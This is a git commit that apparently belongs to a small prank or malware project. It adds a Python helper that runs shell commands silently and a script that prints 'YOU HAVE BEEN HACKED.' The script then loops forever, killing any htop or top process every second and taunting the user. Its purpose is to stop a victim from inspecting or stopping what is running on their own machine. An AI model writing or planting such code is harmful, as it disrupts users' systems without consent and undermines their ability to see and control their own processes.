Preventing the user to user htop or top

This commit is contained in:
Anonymus Raccoon
2020-04-24 20:52:44 +02:00
parent bf1558e0e5
commit d968cdb9b3
2 changed files with 18 additions and 0 deletions
+9
View File
@@ -0,0 +1,9 @@
import os
import subprocess
class CommandHelper:
@staticmethod
def run(cmd):
with open(os.devnull, 'wb') as devnull:
return subprocess.call(cmd.split(' '), stdout=devnull, stderr=subprocess.STDOUT)
+9
View File
@@ -1,4 +1,13 @@
#!/usr/bin/env python3
import os
import time
from term_utils import TermUtils
from command_helper import CommandHelper
TermUtils.print("YOU HAVE BEEN HACKED.\n")
while True:
if CommandHelper.run("killall htop") == 0 or CommandHelper.run("killall top") == 0:
TermUtils.print("You tough that this will be as easy as this?\n")
time.sleep(1)